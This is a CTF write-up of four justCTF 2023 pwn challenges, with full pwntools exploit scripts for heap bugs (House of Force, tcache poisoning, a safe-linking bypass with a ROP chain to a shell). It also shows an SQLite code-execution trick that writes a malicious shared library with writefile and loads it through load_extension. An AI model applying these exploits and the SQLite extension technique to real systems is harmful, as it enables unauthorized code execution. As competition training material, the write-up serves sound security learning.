justCTF 2023
Last weekend I participated with ARESx in justCTF organized by justCatTheFish. This is a writeup of the challenges I solved: Welcome in my house, nucleus, notabug (unintended) and Mystery locker.
The full exploit codes and challenge files can be found in my repository.
Welcome in my house
Welcome in my house was a heap pwn challenge. We can create users which consist of a username, a password and disk space. All three values are allocated on the heap. There are no bounds checks for username or password so we can arbitrary overflow the heap. For the disk space we have control over the allocated chunk size and can therefore allocate arbitrary big chunks. Furthermore, there is an option to read the flag. To read the flag we need to corrupt a chunk on the heap which contains the string “admin” and change it to “root”. Glibc is version 2.27.
Based on the name of the challenge and the fact that we have an arbitrary heap overflow and can allocate arbitrary big chunks, House of force seemed like a good choice. For this we cause the top chunk to wrap around by allocating a very big chunk such that the next allocation overlaps with the chunk we want to corrupt.
Exploit
def create_user(name, pw, space):
io.sendlineafter(">>", str(1))
io.sendlineafter("name:", name)
io.sendlineafter("word:", pw)
io.sendlineafter("space:", str(space))
io = start(argv, env=env)
payload1 = b"A"*0x10
root = b"root\x00".ljust(0x8, b'\x00')
payload2 = b"root\x00"
payload2 = payload2.ljust(0x10, b'\x00')
payload2 += p64(0x0)
# corrupt size of top chunk to be very big
payload2 += p64(0xffffffffffffffff)
# allocate a very big chunk which will cause the top chunk to wrap around and
# corrupt chunk containing the string "admin" to "root"
create_user(payload1, payload2, 0xffffffffffffff60)
io.interactive()
Nucleus
Nucleus was another heap pwn challenge. This time we are given a kind of compression tool. We can compress and decompress texts and the result will be stored on the heap. Furthermore we can cleanup (delete) the created compressed / decompressed texts. There is actually a fifth option which is not printed in the menu and can only be seen when examining the disassembly of the challenge file. This option allows us to show the contents of a compressed chunk.
In total we can have at most 8 chunks allocated at the same time. This time there is no function to read the flag so we need to actually get a shell. There was no libc provided so I just guessed the remote libc to be 2.31 based on a Dockerfile from another challenge of the same challenge author. This guess proved to be correct.
Bugs
There are two bugs I found:
The first bug is in the hidden show option. There is no check if the chunk we want to view is freed or not. Therefore we can view freed chunks which enables us to simply obtain heap / libc leaks.
The second bug is in the decompress option. For both compress and decompress, the challenge allocates a chunk of size input_size * 2
. However when decompressing, the input data can become a lot bigger than that, resulting in a heap overflow.
To gain code execution I first obtained a libc leak by using the show option after freeing a chunk into the unsorted bin. Afterwards I did a simple tcache poison attack to corrupt __free_hook
and then call system(/bin/sh\x00)
Exploit
def compress(text):
io.sendlineafter(">", str(1))
io.sendlineafter("text:", text)
def decompress(text):
io.sendlineafter(">", str(2))
io.sendlineafter("text:", text)
def content(idx):
io.sendlineafter(">", str(5))
io.sendlineafter("Idx: ", str(idx))
def free(idx, compressed=True):
io.sendlineafter(">", str(3))
if compressed:
io.sendlineafter("(c/d):", "c")
else:
io.sendlineafter("(c/d):", "d")
io.sendlineafter("Idx: ", str(idx))
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
# pwndbg tele command
gdbscript = '''
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
io = start(argv, env=env)
# decompress + compress <= 8
compress("A"*0x210) #0
compress("B") #1
free(0)
content(0)
io.recvuntil("content: ")
leak = io.recvline().rstrip()
leak = u64(leak.ljust(0x8, b'\x00'))
libc.address = leak - 0x1ecbe0
print("Libc base:", hex(libc.address))
compress("A"*0x10) #2
compress("A"*0x10) #3
compress("A"*0x10) #4
free(4)
free(3)
free(2)
payload = b"$48A"
payload += p64(libc.sym['__free_hook'])
payload = payload.ljust(0x10-1, b'\x00')
decompress(payload) #0
decompress(b"/bin/sh\x00".ljust(0x10, b'\x00')) #1
decompress(p64(libc.sym['system']).ljust(0x10, b'\x00'))
free(1, False)
io.interactive()
notabug (unintended)
Notabug was pwn challenge which required pwning the latest version of SQLite. The challenge simply gives us a SQLite prompt where we can insert any prompt. No patches were applied to the SQLite binary.
Initially I refrained from trying this challenge as it seemed quite hard. After a few hours though there was a second version of this challenge released with the following description: “Let it roll ( :) this time intended way). It’s a feature, not a bug!”. So there must be unintended ways to solve the first part of the challenge. This motivated me to look into the first part.
The first thing I did was to compare the challenge files for the first and second version of the challenge. The only difference I found was in the nsjail.cfg
file:
diff notabug/private/nsjail.cfg notabug2/private/nsjail.cfg
53c53
< rlimit_fsize: 32 # max size of files the process may create in MiB
---
> rlimit_fsize: 0 # max size of files the process may create in MiB
In notabug version 1, the SQLite process was allowed to create files. This was removed in the second version. With this in mind, me and my fellow friend ChatGPT worked on a solution.
Loading my own SQLite extension
SQLite has a load_extension
function which allows to load SQLite extensions at runtime. These extensions are simply shared libraries. Loading an extension can be done with a single prompt:
SELECT load_extension('/path/to/extension.so');
Based on this I tried to create my own SQLite extension to gain code exectution. And it worked ! I could call any command using the system
function:
#include <sqlite3ext.h>
SQLITE_EXTENSION_INIT1
#include <stdio.h>
#include <stdlib.h>
int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
) {
SQLITE_EXTENSION_INIT2(pApi)
system("/jailed/readflag");
return 0;
}
What was left now was to find a way to save my malicious library on the challenge server. This is where the different nsjail.cfg
files come into play. SQLite also has a writefile
function which allows writing a BLOB to a file:
SELECT writefile('/path/to/output.file', blob_content);
With this I could now easily save my malicious library on the remote server and load it as extension.
Exploit
io = start(argv, env=env)
with open("lib.so", "rb") as f:
data = f.read()
data = data.hex()
payload = f"SELECT writefile('/tmp/lib.so', x'{data}');"
io.sendlineafter(">",payload)
io.sendlineafter(">", "SELECT load_extension('/tmp/lib.so');")
io.interactive()
Other unintended solutions
There are probably many other ways to solve this challenge in an unintended way. Someone in discord even posted an unintended solution which worked on both versions of the challenge:
sqlite> .open :memory:
sqlite> CREATE TABLE t(a INT, b VARCHAR(200));
sqlite> insert into t values (0, '');
sqlite> update t set b=edit('','/jailed/readflag') where a=0;
Intended solution
The intended solution involved actual binary exploitation based on the fact that one can use the load_extension
function to load and execute functions contained in libc. E.g. select Load_extension('/lib/x86_64-linux-gnu/libc.so.6','puts');
to execute puts.
Here is a full writeup of a team that solved the challenge in the intended way.
Mystery locker
Mystery locker was the third heap pwn challenge of this ctf. This challenge emulates a kind of filesystem and allows us to create files by specifying a name and contents. The challenge binary then hashes the supplied filename and creates an actual file, with the hashed name and the contents given by us, inside a directory named fs which the challenge creates.
Both filename and content get allocated on the heap and the max size of both is 0x400. Furthermore, both chunks get freed at the end of the function after the file has been created, renamed, deleted or printed. This means we can only work with at most 2 chunks a time which will get freed immediately after the file has been written. If we try to delete or print a chunk that doesn’t exist however, a chunk will get allocated and never freed. This is useful if we want to expand the heap and I will use this fact in my exploit. There is no limit on how many files we can create. Furthermore the challenge will read in our input until either the size limit is reached or a nullbyte is read. This limits our ability to corrupt things because we can only write a single address at once. Additionally, the challenge uses a function table
allocated on the heap to store the menu functions (create/rename/print/delete/exit). If we manage to corrupt this chunk we will be able to call arbitrary functions.
Libc version is 2.37 meaning we have to deal with safe linking and malloc / free hooks won’t work.
Bugs
The bug of this challenge is inside the function that reads our input:
param_2
is the length of the input we specified. As can be seen in line 16
there is a check which restricts our input to 0x400
bytes. However, in line 29
our supplied input length is being used to null-terminate the input. With this we can write arbitrary nullbytes all over the heap.
I missed a fact about this nullbyte corruption bug which made the challenge harder for me than intended. For creating / renaming and printing a file, there is always a check to guarantee our provided size is positive. However, for the delete option this check is missing, which enables us to write nullbytes on the heap at positive and negative offsets. Unfortunately I missed this and assumed that we can only write nullbytes at positive offsets.
Exploitation
With the knowledge of the possibility of negative offset nullbye corruptions one could corrupt the tcache_perthread_struct
which stores pointers to the first chunk in a bin in an unmasked form. This makes exploitation quite easy since one does not have to deal with safe-linking or heap feng shui.
Since I had missed this though, I went another route and corrupted a masked fd
pointer of an entry in a tcache bin. I calculated the address the chunk would have after the corrupted fd
pointer would be unmasked and made sure that this pointer points into a heap region which lays beyond the current heap wilderness so that I could allocate many chunks until I had obtained a chunk which lays in the region where the corrupted fd
pointer points to.
def mask(p, l):
return p ^ (l >> 12)
def unmask(p, l):
return mask(p, l)
# next_addr = heap address where fd pointer of chunk will be stored
def new_ptr_addr(next_addr):
sz = 0x40
while sz < 0x400:
masked = mask(next_addr+sz, next_addr)
lb = masked & 0xff
masked = (masked >> 16) << 16
masked += lb
new_addr = unmask(masked, next_addr)
if new_addr > next_addr:
print(f"New addr: {hex(new_addr)} sz: {sz}")
return sz, new_addr
sz += 0x10
return 0, 0
I then created a fake chunk in the region where the corrupted fd
pointer points to and freed it into the unsorted bin. This freed fake chunk overlapped with chunks stored in tcache bins. I used this to leak the address off libc
and to corrupt the tcache freelist again in order to allocate a chunk which overlaps with the function table
chunk. Afterwards I overwrote the function pointer of the exit
option with fgets
and overflowed the stack with a ropchain. As we use fgets
in this case, the limitation of no nullbytes doesn’t hold anymore.
Exploit
def create(fname, content, csz, fsz= 0):
io.sendlineafter(">", str(0))
if fsz > 0:
io.sendlineafter("size:", str(fsz))
else:
io.sendlineafter("size:", str(len(fname)))
io.sendlineafter("name: ", fname)
io.sendlineafter("len: ", str(csz))
io.sendlineafter("contents: ", content)
def rename(fname):
io.sendlineafter(">", str(1))
io.sendlineafter("size:", str(len(fname)))
io.sendlineafter("name: ", fname)
def show(fname,fsz=0):
io.sendlineafter(">", str(2))
if fsz > 0:
io.sendlineafter("size:", str(fsz))
else:
io.sendlineafter("size:", str(len(fname)))
io.sendlineafter("name: ", fname)
def remove(fname, fsz=0):
io.sendlineafter(">", str(3))
if fsz > 0:
io.sendlineafter("size:", str(fsz))
else:
io.sendlineafter("size:", str(len(fname)))
io.sendlineafter("name: ", fname)
def mask(p, l):
return p ^ (l >> 12)
def unmask(p, l):
return mask(p, l)
def new_ptr_addr(next_addr):
sz = 0x40
while sz < 0x400:
masked = mask(next_addr+sz, next_addr)
lb = masked & 0xff
masked = (masked >> 16) << 16
masked += lb
new_addr = unmask(masked, next_addr)
if new_addr > next_addr:
print(f"New addr: {hex(new_addr)} sz: {sz}")
return sz, new_addr
sz += 0x10
return 0, 0
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
# pwndbg tele command
gdbscript = '''
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# max size = 0x400
os.system("rm -r fs")
io = start(argv, env=env)
create("a", "A\x00", 0x10)
remove("a")
create("a", "\x00", 0x10)
show("a")
leak = io.recvuntil("C")[-6:-1]
leak = leak.ljust(0x8, b'\x00')
leak = u64(leak) << 12
heap_base = leak
print("Heap base: ", hex(leak))
chunk_addr = heap_base + 0x310 + 0x820
print("Next chunk addr: ", hex(chunk_addr))
sz, new_addr = new_ptr_addr(chunk_addr)
if sz == 0x0:
exit(0)
create("c\x00", "\x00", 0x400, 0x400)
create("b\x00", "\x00", sz-0x8, sz-0x8)
remove("c\x00", 0x821)
next_addr = chunk_addr + sz*2
if new_addr - next_addr > 0x10000:
exit(0)
remove("z\x00", 0x400)
remove("z\x00", 0x18)
remove("z\x00", 0x18)
print("Allocating until next is overlap")
while next_addr < new_addr - 0x40:
if not args.LOCAL:
print("Tick")
if new_addr - next_addr > 0x440:
remove("z\x00", 0x400-8)
next_addr += 0x400
else:
remove("z\x00", 0x18)
next_addr += 0x20
payload = b"A"*0x18
payload += p16(0x501)
create("n\x00", payload + b"\x00", 0x100)
remove("z\x00", 0x38)
create("la\x00", "\x00",0x400, 0x400)
remove("z\x00", 0x400)
remove("z\x00", 0x400)
create("m", b"\x00", 0x38)
create("d", b"\x00", 0x400)
show("d")
leak = io.recvuntil("C")[-6:-1]
leak = leak.ljust(0x8, b'\x00')
leak = u64(leak) << 8
libc.address = leak - 0x1f7100
print("Libc leak: ", hex(libc.address))
func_table = heap_base + 0x2a0
print("Func table: ", hex(func_table))
create("e\x00", b"\x00", 0x400, 0x400)
print("Next addr: ", hex(next_addr))
payload = b"B"*0x20
payload += p64(mask(func_table-0x10, next_addr+0x40))
payload = payload[:-1]
create("f", payload, 0x100)
remove("g\x00", 0x400)
payload = b"A"*0x10
payload += p64(libc.sym['gets'])[:-1]
remove(payload, 0x400)
create("h", "A\x00", 0x40)
io.sendlineafter(">", str(4))
gdb.attach(io, gdbscript)
rop = ROP(libc)
off = 0x540-0x18
payload = b"A"*off
payload += p64(rop.rdi.address)
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(rop.ret.address)
payload += p64(libc.sym['system'])
io.sendline(payload)
io.interactive()